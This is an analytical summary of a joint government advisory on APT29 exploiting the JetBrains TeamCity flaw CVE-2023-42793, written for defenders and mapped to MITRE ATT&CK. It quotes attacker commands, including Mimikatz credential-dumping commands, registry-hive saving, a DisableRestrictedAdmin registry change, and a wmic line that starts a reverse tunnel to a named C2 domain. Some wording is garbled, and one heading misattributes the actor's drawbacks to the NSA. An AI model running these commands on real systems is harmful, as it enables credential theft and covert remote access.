Abstract – This document provides am analysis of the Exploiting JetBrains TeamCity CVE advisory, as detailed in the Defense.gov publication. The analysis delves into various critical aspects of cybersecurity, focusing on the exploitation of CVEs to gain initial access to networks, deployment of custom malware.

This analysis serves as a valuable resource for cybersecurity professionals, software developers, and stakeholders in various industries, offering a detailed understanding of the tactics, techniques, and procedures (TTPs) employed by cyber actors. By providing a qualitative summary of the advisory, this document aims to enhance the cybersecurity posture of organizations, enabling them to better protect against similar threats and contribute to the collective defense against state-sponsored cyber espionage activities.

I. Introduction

The U.S. Federal Bureau of Investigation (FBI), U.S. Cybersecurity & Infrastructure Security Agency (CISA), U.S. National Security Agency (NSA), Polish Military Counterintelligence Service (SKW), CERT Polska (CERT.PL), and the UK's National Cyber Security Centre (NCSC) have jointly assessed by cyber actors known as Advanced Persistent Threat 29 (APT 29), the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard, have been exploiting a vulnerability identified as CVE-2023-42793. This exploitation has been occurring on a large scale since September 2023, targeting servers that host JetBrains TeamCity software.

TeamCity is a tool used by software developers for managing and automating tasks such as software compilation, building, testing, and releasing. A compromise of TeamCity servers can give attackers access to a developer's source code, signing certificates, and the ability to manipulate software compilation and deployment processes. Such access could be used to conduct supply chain attacks, similar to the compromise of SolarWinds and its customers in 2020. However, the current pattern of exploitation focuses instead on a limited and seemingly opportunistic set of victims.

II. Key takeaways

- **Persistent Threat**: discovered attacks have been a consistent threat to global public and private networks, engaging in cyber operations to steal confidential information and conduct foreign intelligence collection.
- **Long-term Targeting Pattern**: over the past decade, there were shown a pattern of targeting that includes collecting foreign intelligence on politics, economics, military, science and technology, and counterintelligence.
- **Spearphishing Operations**: historically, the actors have focused on spearphishing to target government agencies, think tanks, educational institutions, and political organizations, aligning with their goal of collecting political intelligence.
- **Exploitation of Vulnerabilities**: it has been known to exploit vulnerabilities to gain initial access to networks, deploying custom malware like WellMess, WellMail, and Sorefang, notably targeting organizations involved in COVID-19 vaccine development and energy companies.
- **Supply Chain Operations**: expanded cyber operations includes supply chain attacks, as evidenced by the SolarWinds compromise attributed to them in April 2021.
- **Technology Company Targets**: the technology companies were increasingly targeted, which could enable further cyber operations. The exploitation of CVE-2023-42793 in JetBrains TeamCity servers is a recent example of this strategy.
- **Preparatory Phase of Operations**: While the cyber actors has accessed networks of software developers through the exploitation of TeamCity servers.
- **Opportunities for C2 Infrastructure**: Having access to networks of technology companies presents the actors with opportunities to establish hard-to-detect command and control infrastructure.

III. Initial Access – Exploitation

The initial tactics used to gain and explore access within a compromised network, emphasizing the use of native tools and commands that are less likely to trigger security alerts.

- **CVE-2023-42793 Exploitation**: This vulnerability allows for the insecure handling of specific paths, enabling attackers to bypass authorization and execute arbitrary code on the server.
- **High Privilege Code Execution**: The exploitation of TeamCity servers typically resulted in code execution with high privileges, providing a significant foothold within the network environment.
- **Exclusive Exploitation Vector**: The document notes that, based on the authoring agencies' observations, there are no other known initial access vectors being exploited in JetBrains TeamCity at the time of reporting.

IV. Host Reconnaissance

This methodical approach helps to understand the compromised environment, leveraging a mix of simple command-line queries and more complex PowerShell scripts to gather a comprehensive view of the host and network.

- **Use of Basic, Built-in Commands**: utilized a series of basic, built-in commands for host reconnaissance, indicating a preference for stealth and efficiency by leveraging tools already present on the system.
- **Commands for User and Domain Information**: commands like whoami /priv, whoami /all, whoami /groups, and whoami /domain were used to gather detailed information about user privileges, group memberships, and domain affiliations.
- **Network and Service Enumeration**: employed commands such as nltest -dclist, nltest -dsgetdc, tasklist, and netstat to enumerate domain controllers, list running tasks, and view active network connections.
- **WMIC for Process Listing**: Windows Management Instrumentation Command-line (WMIC) commands were used to query process information, demonstrating an interest in monitoring running processes and potentially identifying security tools or processes of interest for further exploitation.
- **PowerShell for Advanced Queries**: PowerShell commands were executed to perform more sophisticated queries, such as retrieving properties of specific accounts and listing services and drivers, showcasing the capability to use scripting for deeper reconnaissance.
- **Focus on Stealth and Evasion**: The reliance on native tools and commands suggests an operational focus on stealth and evasion, minimizing the risk of detection by security solutions that might flag third-party tools or malware.

V. File Exfiltration

These takeaways highlight the strategic approach to file exfiltration, focusing on files that offer insights into system configurations, development environments, and security practices.

- **Targeted Exfiltration for System Insight**: exfiltrating specific files could provide detailed insights into the host system's operating system, such as C:\Windows\system32\ntoskrnl.exe. This action likely aimed to precisely identify the system version, potentially as a prerequisite for deploying specific tools or malware, such as EDRSandBlast.
- **Interest in SQL Server Files**: it is known about particular interest in exfiltrating files related to the SQL Server installed on the compromised systems.
- **Visual Studio Files**: The exfiltration of specific Visual Studio files, such as VSIXAutoUpdate.exe located in the Visual Studio 2017 directory, indicates the interest in development tools and environments. This could be for the purpose of understanding development workflows or injecting malicious code into software projects.
- **Patch Management Software**: also targeted executables and configuration files of patch management software, including httpd.exe and httpd.conf from a PatchManagementInstallation directory. This suggests an interest in understanding or undermining the patch management infrastructure, potentially to maintain persistence or avoid detection.

VI. Interest in SQL Server

The focus of interest in SQL Server environments within compromised networks, indicating a methodical approach to selecting and exfiltrating data could provide strategic intelligence or facilitate further cyber operations.

- **Targeted SQL Server Files**: targeted and showed interest in details of the SQL Server, focusing on DLL files associated with Microsoft SQL Server (e.g., sqlmin.dll, sqllos.dll, sqllang.dll, sqltses.dll). This indicates a strategic interest in the database management system, potentially for gaining insights into the data structures, schemas, or for preparing for further exploitation.
- **Use of PowerShell for Compression**: utilized PowerShell's Compress-Archive command to compress the targeted SQL Server DLL files into a zip file located at C:\Windows\temp\1\sql.zip. This method suggests an intention to efficiently aggregate and exfiltrate valuable data from the compromised system.
- **Exfiltration of secforwarder.dll**: In addition to compressing and preparing SQL Server files for exfiltration, it also specifically exfiltrated the secforwarder.dll file. This action further underscores the interest in obtaining detailed information from the SQL Server environment, possibly for understanding security mechanisms or for leveraging the DLL in future operations.

VII. Tactics Used to Avoid Detection

The following tactics demonstrate the advanced capabilities in evading detection and maintaining persistence within compromised networks, highlighting the need for robust and multi-layered cybersecurity defenses.

- **Bring Your Own Vulnerable Driver**: used technique known as "Bring Your Own Vulnerable Driver" (BYOVD) to disable or kill endpoint detection and response (EDR) and antivirus (AV) software, which is a sophisticated method to undermine system defenses.
- **Use of EDRSandBlast**: utilized an open-source project called EDRSandBlast to remove Protected Process Light (PPL) protection, which is designed to control and protect running processes from being tampered with or infected.
- **Code Injection into Security Processes**: For a subset of victims, it was injected code into AV/EDR processes,

which is a stealthy way to evade detection by security software.

- **Execution of Detectable Executables in Memory**: Tools that are typically detected by security software, such as Mimikatz, were executed in memory rather than on disk to avoid detection.
- **Hiding Backdoors via DLL Hijacking**: exploited DLL hijacks vulnerabilities in various software, including Zabbix and Webroot antivirus, to hide their GraphicalProton backdoor within legitimate software processes.
- **Backdooring Microsoft's vcperf Application**: The modified and used the source code of vcperf, an open-source application developed by Microsoft, is to drop malicious DLLs, including the GraphicalProton backdoor, onto disk.
- **Covert Command and Control Channels**: To avoid network monitoring detection, the covert command and control (C2) channels using cloud services like Microsoft OneDrive and Dropbox is established.
- **Obfuscation Techniques**: obfuscation is used by hiding data exchanged with malware inside randomly generated BMP files, making the malicious traffic appear benign.

VIII. Privilege Escalation

The following actions are indicative of intent to deepen their access and control over the compromised systems by obtaining high-level privileges and sensitive information that could facilitate their operations.

- **Use of Mimikatz**: Mimikatz, a well-known credential theft tool, is utilized to perform various commands aimed at escalating privileges within the compromised network.
- **Privilege Escalation Commands**: Specific Mimikatz commands executed include privilege::debug, which enables debug privileges; lsadump::cache, lsadump::secrets, and lsadump::sam, which are used to dump credentials and sensitive information from the Security Account Manager (SAM); and sekurlsa::logonpasswords, which extracts plaintext passwords, hashes, PINs, and Kerberos tickets from memory.
- **Credential Access and Dumping**: The commands indicate the interest in accessing and dumping credentials and secrets that could be used to further compromise the network, maintain persistence, or move laterally to other systems.

IX. Persistence

The following points highlight the strategic approach to establishing and maintaining long-term access to compromised environments, using both native Windows tools and advanced techniques like crafting TGTs to blend in with normal network activity and evade detection.

- **Scheduled Tasks for Persistence**: the scheduled tasks are used (T1053.005) to maintain persistent execution of their backdoors on compromised systems.
- **Storage Directories for Executables**: Depending on the level of privileges obtained, the executable files are stored in specific directories on the compromised host, such as C:\Windows\temp, C:\Windows\System32, or C:\Windows\WinStore.
- **Use of schtasks.exe**: All modifications to create scheduled tasks were made using the schtasks.exe binary, a legitimate Windows tool, which helps to avoid suspicion and potential detection.
- **Rubeus Toolkit for TGTs**: To ensure long-term access, it utilized the Rubeus toolkit to craft Ticket Granting Tickets (TGTs) (T1558.001), which are part of the Kerberos authentication protocol used in Windows environments. This indicates a sophisticated level of attack aimed at maintaining access through legitimate authentication mechanisms.

X. Sensitive Data Exfiltration

The following points highlight the strategic and methodical approach to data exfiltration, focusing on obtaining a wide range of sensitive information that could be leveraged for further exploitation, maintaining access, or compromising additional systems within the network.

- **Exfiltration of Windows Registry Hives**: specifically targeted and exfiltrated critical Windows Registry hives, including HKLM\SYSTEM, HKLM\SAM, and HKLM\SECURITY. These hives contain sensitive system, account, and security configuration data.
- **Methodology for Exfiltration**: To exfiltrate the Windows Registry hives, it saved the hives into files using the reg save command. These files were then packed and staged in the C:\Windows\Temp\ directory using PowerShell to compress them into a .zip archive, which was subsequently exfiltrated.
- **Use of SharpChromium for Browser Data**: In specific instances, the SharpChromium tool is utilized to extract sensitive browser data, such as session cookies, browsing history, and saved login credentials. This indicates a targeted approach to gather specific types of sensitive information from victims.
- **DSInternals for Directory Services Interaction**: the DSInternals open-source tool to interact with Directory Services, is employed allowing them to obtain sensitive domain information. This tool provides capabilities to access and manipulate data within Active Directory, which can be critical for understanding the network environment and planning further actions.

XI. Network Reconnaissance

The following takeaways highlight the methodical approach to conducting network reconnaissance, leveraging both native and external tools to comprehensively map out the victim's network environment and identify potential targets for further exploitation.

- **Use of Built-in Commands and Tools**: For network reconnaissance, the combination of built-in commands and additional tools, is utilized including a port scanner and PowerSploit, a collection of Microsoft PowerShell modules that are used for various stages of penetration testing and exploitation.
- **PowerSploit Commands Executed**: The several PowerSploit commands are executed to gather detailed information about the network environment. These commands included:
  - Get-NetComputer to list computers in the current domain.
  - Get-NetGroup to list groups in the domain.
  - Get-NetUser with various filters to list user accounts and their attributes such as samaccountname, description, pwdlastset, logoncount, and badpwdcount.
  - Get-NetDiDomain and Get-AdUser to gather domain and Active Directory user information.
  - Get-DomainUser and Get-NetUser -PreauthNotRequire to identify specific user accounts and those not requiring pre-authentication.
  - Get-NetComputer | select samaccountname and Get-NetUser -SPN | select serviceprincipalname to list computer and user service principal names.
- **Launched into Memory**: additional tools, such as PowerSploit, were launched into memory, likely as a tactic to avoid detection by not writing to the disk.

XII. Tunneling into Compromised Environments

The following points highlight the sophisticated use of tunneling to maintain stealthy and secure communication with compromised environments, leveraging both modified open-source tools and legitimate system utilities to evade detection.

- **Use of "rr.exe" for Tunneling**: the tool named "rr.exe", which is a modified version of the open-source reverse socks tunneler Rsockstun, is utilized to establish a tunnel to their command-and-control (C2) infrastructure. This technique (T1572) allows for secure and stealthy communication between the compromised environment and the attacker's infrastructure.
- **Specific Infrastructure for C2**: the document identifies specific infrastructure used in conjunction with "rr.exe" for C2 communications, including an IP address (65.20.97[.]203:443) and a domain (Poetpages[.]com:8443). This information is crucial for identifying and blocking malicious traffic related to this campaign.
- **Execution Methods**: the Rsockstun is executed in two ways: either directly in memory or by using the Windows Management Instrumentation Command Line (WMIC) utility after dropping the tool to disk. The command provided (wmic process call create "C:\Program Files\Windows Defender Advanced Threat Protection\Sense.exe -connect poetpages.com -pass M554-0sddsf2@34232fsl45t31") illustrates how the it used legitimate Windows tools to execute their malicious payload, a technique known as "living off the land" (T1047)

XIII. Lateral Movement

The following points underscore the methods for expanding their reach within a compromised network, using both native Windows tools and modifications to system configurations to enable and execute lateral movements.

- **Use of WMIC for Lateral Movement**: the Windows Management Instrumentation Command-line (WMIC) is leveraged as a tool to facilitate lateral movement within the network (T1047, T1210). This involved executing commands remotely on other nodes in the network.
- **Remote Command Execution**: The specific WMIC command provided in the document (wmic /node:"<redacted>" /user:"<redacted>" /password:"<redacted>" process call create "rundll32 C:\Windows\system32\AclNumsInvertHost.dll AclNumsInvertHost") indicates that the process is executed remotely, which is a common technique for moving laterally to other systems within a compromised network.
- **Modification of DisableRestrictedAdmin Key**: the DisableRestrictedAdmin key is modified in the Windows Registry to enable remote connections (T1210). This change allows for the use of Remote Desktop Protocol (RDP) with Restricted Admin mode disabled, which can facilitate unauthorized remote access.
- **Registry Modification Command**: The document lists the exact command used to modify the Registry (reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d "0" /f). This command sets the DisableRestrictedAdmin value to "0", effectively enabling the remote connections.

XIV. Adversary Toolset

The following points highlight the sophisticated use of custom tools and techniques for conducting cyber operations, emphasizing their focus on stealth, data exfiltration, and maintaining persistent access to compromised environments.

- **Use of Custom and Open-Source Tools**: a mix of custom and open-source tools and backdoors during the TeamCity operation, are utilized demonstrating a versatile approach to cyber operations.
- **GraphicalProton Backdoor**: A key tool in their arsenal is GraphicalProton, a simplistic backdoor that uses cloud services like OneDrive and Dropbox, along with

randomly generated BMP files, for data exchange with the operator. This tool can gather critical environment information such as active TCP/UDP connections, running processes, and user, host, and domain names.

- **Communication Channels**: OneDrive serves as the primary communication channel, with Dropbox as a backup. API keys are hardcoded into the malware, which generates a randomly named directory for storing infection-specific BMP files. This directory name is re-randomized with each start of the GraphicalProton process.
- **Data Exchange via BMP Files**: The process for generating BMP files for data exchange involves compression using zlib, encryption with a custom algorithm, addition of a string literal to encrypted data, creation of a random BMP, and encoding of encrypted data within lower pixel bits.
- **Obfuscation Techniques**: To evade detection, GraphicalProton has been wrapped in layers of obfuscation, encryption, encoders, and stagers. Notable variants include one that uses DLL hijacking in Zabbix for execution and another that disguises itself within vcperf, an open-source C++ build analysis tool from Microsoft.
- **GraphicalProton HTTPS Variant**: A newer variant of GraphicalProton forgoes cloud-based services for command and control (C2) and instead relies on HTTP requests. This variant uses a re-registered expired domain with a dummy WordPress site to legitimize the C2 channel. Its execution is split into a stager and an encrypted binary file containing further code.

XV. MITRE ATT&CK TACTICS AND TECHNIQUES

This section provides a comprehensive mapping of the actor’s tactics and techniques to the MITRE ATT&CK framework, demonstrating their sophisticated approach to executing cyber operations.

- **Reconnaissance Techniques**: gathering victim network topology (T1590.004) and host software information (T1592.002) during the reconnaissance phase to aid in targeting.
- **Initial Access via Exploit**: The initial access is gained by exploiting a vulnerability (CVE-2023-42793) in internet-connected JetBrains TeamCity servers (T1190).
- **Execution Using PowerShell and Windows Command Shell**: using PowerShell (T1059.001) to compress Microsoft SQL server DLL files and Windows Command Shell (T1059.003) to perform host reconnaissance. They also leverage arbitrary code execution (T1203) after exploiting the TeamCity vulnerability.
- **Persistence Techniques**: Persistence is maintained through scheduled tasks (T1053.005), SQL stored procedures (T1505.001), and boot or logon autostart execution (T1547).
- **Privilege Escalation**: exploitaation the TeamCity vulnerability for privilege escalation (T1068) and uses a "Bring Your Own Vulnerable Driver" technique to disable EDR and AV defenses.
- **Defense Evasion Methods**: Various defense evasion techniques are employed, including obfuscating data with binary padding (T1027.001), masquerading (T1036), process injection (T1055), disabling or modifying tools (T1562.001), and hiding artifacts (T1564, T1564.001).
- **Credential Access**: Credentials are accessed through OS credential dumping from LSASS memory (T1003.001) and Security Account Manager (T1003.002), stealing credentials from web browsers (T1555.003), and forging Kerberos tickets (T1558.001).
- **Discovery Tactics**: performing system owner/user discovery (T1033), network service discovery (T1046), process discovery (T1057), and gathering victim network information (T1590).
- **Lateral Movement**: Lateral movement is achieved through exploitation of remote services (T1210) and Windows Management Instrumentation (T1047).
- **Command and Control (C2)**: Dynamic resolution (T1568) and protocol tunneling (T1572) are used for C2 communications.
- **Exfiltration Methods**: Data is exfiltrated using automated techniques (T1020), existing C2 channels (T1041), and web services like OneDrive and Dropbox (T1567)

XVI. BENEFITS AND DRAWBACKS

A. *Benefits of the provided sources:*

- **Experimentally obtained information**: the presented materials are highly likely to be obtained experimentally.
- **Detailed Information**: The sources provide detailed information about the cyber actors exploiting a known vulnerability with worldwide impact, including the tactics, techniques, and procedures (TTPs) employed actors, technical details of their operation, indicators of compromise (IOCs), and mitigation recommendations for network defenders.
- **Raising Awareness**: The sources aim to raise awareness about the malicious activity and help organizations identify, protect, and mitigate potential threats.
- **Actionable Recommendations**: The sources provide actionable recommendations for organizations to improve their cybersecurity posture based on the malicious activity.

B. *Drawbacks of the provided sources:*

- **Technical Language**: The sources may contain technical language and jargon that could be difficult for non-technical users to understand.

- **Limited Scope**: The sources focus specifically on the cyber actors exploiting the JetBrains TeamCity CVE. While this information is valuable, it may not cover the full range of potential cyber threats that organizations should be aware of.
- **Potential for Outdated Information**: As the cybersecurity landscape is constantly evolving, the information provided in the sources may become outdated as new vulnerabilities and threats emerge.
- **Focus on Specific Countries**: The sources primarily focus on the impact of the vulnerability on the United States and its allied countries. Organizations in other regions may not find all the information directly applicable to their situation.

XVII. Benefits and drawbacks

In summary, while the actors' benefits from access to sensitive information, persistent access to compromised networks, and the expansion of their cyber capabilities, the exposure of their TTPs, increased awareness and defenses among targets, potential for attribution and consequences, and collaboration among cybersecurity agencies pose significant drawbacks to their operations from the NSA's perspective.

A. *Actor's benefits*

- **Access to Sensitive Information**: By exploiting the JetBrains TeamCity vulnerability (CVE-2023-42793), it helps to gain access to software developers' source code, signing certificates, and the ability to subvert software compilation and deployment processes. This access could be leveraged to conduct supply chain operations and gather sensitive data from targeted organizations.
- **Persistent, Long-term Access**: The tactics, such as escalating privileges, moving laterally, and deploying additional backdoors, ensure persistent, long-term access to compromised network environments. This allows for ongoing intelligence gathering and potential future operations.
- **Evasion of Detection**: employing various techniques to avoid detection, such as using legitimate Windows tools (e.g., WMIC), obfuscating data with binary padding, and hiding artifacts. These methods help maintain their presence within compromised networks.
- **Expansion of Cyber Capabilities**: By targeting technology companies and software developers, it expands its cyber capabilities and potentially gains access to a wide range of organizations through supply chain compromises.

B. *NSA's drawbacks:*

- **Exposure of Tactics, Techniques, and Procedures (TTPs)**: The detailed analysis of the cyber activities in the joint Cybersecurity Advisory exposes their TTPs, including specific tools, malware, and attack vectors. This information helps organizations better defend against operations; however, it forces to develop new TTPs.
- **Increased Awareness and Defenses**: The public release of information about the exploitation of the JetBrains TeamCity vulnerability raises awareness among organizations worldwide. This may lead to increased patching and hardening of defenses, making it more difficult to successfully compromise targets.
- **Potential for Attribution and Consequences**: The attribution of these cyber operations by U.S. and allied cybersecurity agencies unlikely lead to political, economic, or legal consequences for country, depending on the impact and scale of the operations.